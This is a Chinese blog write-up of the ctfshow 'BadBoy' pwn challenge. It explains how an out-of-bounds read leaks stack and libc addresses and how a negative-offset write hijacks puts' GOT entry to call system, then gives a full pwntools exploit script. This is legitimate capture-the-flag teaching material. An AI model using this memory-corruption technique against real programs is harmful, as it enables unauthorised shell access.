首页 > 其他分享 >【pwn】ctfshow元旦水友赛--BadBoy

【pwn】ctfshow元旦水友赛--BadBoy

时间:2024-02-06 16:56:55浏览次数:32  
标签:puts start -- BadBoy libc ctfshow io main buf

首先先来看一下程序的保护情况

这里got表可改,没有开地址随机

接着看一下ida逻辑

很直接,只有一个main函数,一点点分析这段代码

buf[1] = __readfsqword(0x28u);
  init_func(argc, argv, envp);
  buf[0] = 'gfedcba';
  v5 = 0LL;
  while ( (_DWORD)kl )
  {
    puts("i am bad boy ");
    __isoc99_scanf("%ld", &v4);
    write(1, (char *)buf + v4, (unsigned int)kl);
    LODWORD(kl) = kl - 3;
  }

首先这一段设计的非常巧妙,kl的值是6,说明while循环可以执行两次,第一次只能泄露出6字节的值,第二次可以泄露3字节,然后buf地址的偏移是0x10,我们可以gdb看一下

可以发现第一个绿线是buf地址,第二个绿线可以泄露libc地址,第三个绿线可以泄露出栈地址

以下是泄露的exp:

io.sendlineafter("i am bad boy \n",str(40)) stack_addr=u64(io.recv(6).ljust(8,b'\x00')) print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24)) libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00')) print("libc_start_call_main"+hex(libc_start_call_main)) libc地址其实3个字节就够用了 然后又可以往buf地址写个3个字节的值,这里我们只能写出'sh/x00' 接着修改puts_got的内容,修改成system函数,最后再调用puts(buf)的时候就可以达到getshell的目的  __isoc99_scanf("%lld", &v5);
  if ( v5 > 8 )
    exit(0);
  printf("HaHaHa ");
  read(0, (char *)buf + v5, 3uLL);
  puts((const char *)buf);
  return 0;
ida代码中这个v5的值是可以输入负数,于是我们可以输入负数来实现got表的数据写入,我们只需要知道buf地址,以及puts_got的地址,buf地址可以通过泄露的栈地址减去0xf8来确定 puts_got的地址如下: 然后我们就要来解决system函数的问题,我们现在是可以往puts_got的地址处写入3字节的值,其实已经完全足够,因为其它5个字节都是随机生成的基址 首先我们先libc_start_main-231确定到libc_start_main函数的地址,然后减去libc_start_main函数偏移得到后3字节的基地址,再加上system的偏移就是system函数后3字节的真实地址 完整exp如下: from pwn import * context(os='linux',arch='amd64',log_level='debug')
#io=remote("pwn.challenge.ctf.show",28202) io=process("./pwn") elf=ELF("./pwn") libc=elf.libc io.sendlineafter("i am bad boy \n",str(40)) stack_addr=u64(io.recv(6).ljust(8,b'\x00')) print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24)) libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00')) print("libc_start_call_main"+hex(libc_start_call_main))
io.sendlineafter(b"because i'm not girl ",b'sh\x00')
puts_got_addr=-(stack_addr-0xf8-0x601018) print("puts_got_addr"+hex(puts_got_addr))
io.sendlineafter(b"so can you fell me? ",str(puts_got_addr)) system_addr=libc_start_call_main-231-libc.sym['__libc_start_main']+libc.sym["system"]
io.sendlineafter(b"HaHaHa ",p64(system_addr)) io.interactive()  

标签:puts,start,--,BadBoy,libc,ctfshow,io,main,buf
From: https://www.cnblogs.com/GGbomb/p/18009980

相关文章

  • 数的范围
    importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;publicclass数的范围{publicstaticvoidbinarySearch(intarr[],intx){intl=0,r=arr.length-1;while(l<r){intmid=......
  • Linux基本服务讲解
    Linux基础服务1.NFSNFS即网络文件系统,用以在网络上与他人共享文件和目录;NFS是运行在应用层的协议;基于Client/Server架构。知识扩展:scp作用:scp可以实现远程主机之间的文件复制scp使用ssh协议,所有想要免密进行复制,需要发送密钥给相应的节点option:-r:复制目录时使用......
  • 农村高中生源转型期提升学生二次函数建模能力的课堂探究
       通过结合具体的数学问题,引导高中生深入分析问题,有效地构建求解问题的数学模型,可以使学生逐步掌握数学问题求解的基本思路以及模型建构的方法与注意事项。但是离开了反复训练,无法从根本上提升高中生的数学建模能力。因此,在平时的高中数学教学中,教师要注意结合数学教学的内......
  • esp32笔记[14]-使用软串口双机通信
    摘要两个esp32之间使用软串口(SoftSerial)进行通信.平台信息ArduinoIDE:2.2.1node_a:esp32c3node_b:esp32s2原理简介软串口SoftSerial[https://www.arduino.cc/reference/en/libraries/espsoftwareserial/][https://blog.csdn.net/qq_43126437/article/details/106166......
  • 田忌赛马的算法逻辑
    田忌赛马的故事大家应该都听说过:田忌和齐王赛马,两人的马分上中下三等,如果同等级的马对应着比赛,田忌赢不了齐王。但是田忌遇到了孙膑,孙膑就教他用自己的下等马对齐王的上等马,再用自己的上等马对齐王的中等马,最后用自己的中等马对齐王的下等马,结果三局两胜,田忌赢了。当然,这段历史......
  • 二分搜索套路
    我们前文我写了首诗,把二分搜索变成了默写题详细介绍了二分搜索的细节问题,探讨了「搜索一个元素」,「搜索左侧边界」,「搜索右侧边界」这三个情况,教你如何写出正确无bug的二分搜索算法。但是前文总结的二分搜索代码框架仅仅局限于「在有序数组中搜索指定元素」这个基本场景,具体......
  • [数据结构] 数组与特殊矩阵
    写在前面偷懒,先写了数组,列表要画图,所以今天就先不写了数组的定义数组是由n个相同类型的数据元素构成的有限序列。每个数据元素被称为一个数组元素,每个元素在n个线性关系中的序号称为该元素的下标,下标的取值范围称为数组的维界。数组与线性表的关系:数组是线性表的推广。一维数......
  • ORACLE_查询blob字段中是否包含某个字符串/blob字段模糊匹配
    要查询一个BLOB字段中是否包含某个字符串,可以使用Oracle的DBMS_LOB.INSTR函数。示例如下,这里我们有2条记录,每条blob字段都有数据;其中第二条blob字段包含有字符串“T_NT_EndorsementBillEntry”,第一条记录没有正常我们如下查询会报错:对这个blob截取也会报这个错,这里我......
  • 在K8S中,集群相关组件有哪些?
    在Kubernetes(K8s)中,集群相关的组件主要分为两类:控制平面组件和节点组件。控制平面组件(MasterComponents):kube-apiserver:它是整个系统的入口,提供RESTfulAPI接口供用户和内部组件与集群进行交互。所有资源的增删改查操作都通过它来完成,并将状态持久化存储在etcd中。etcd......
  • 单调队列及单调队列优化DP
    首先是单调队列: 其实单调队列就是一种队列内的元素有单调性(单调递增或者单调递减)的队列,答案(也就是最优解)就存在队首,而队尾则是最后进队的元素。因为其单调性所以经常会被用来维护区间最值或者降低$DP$的维数已达到降维来减少空间及时间的目的。类似于滑动窗口等,单调队列具有......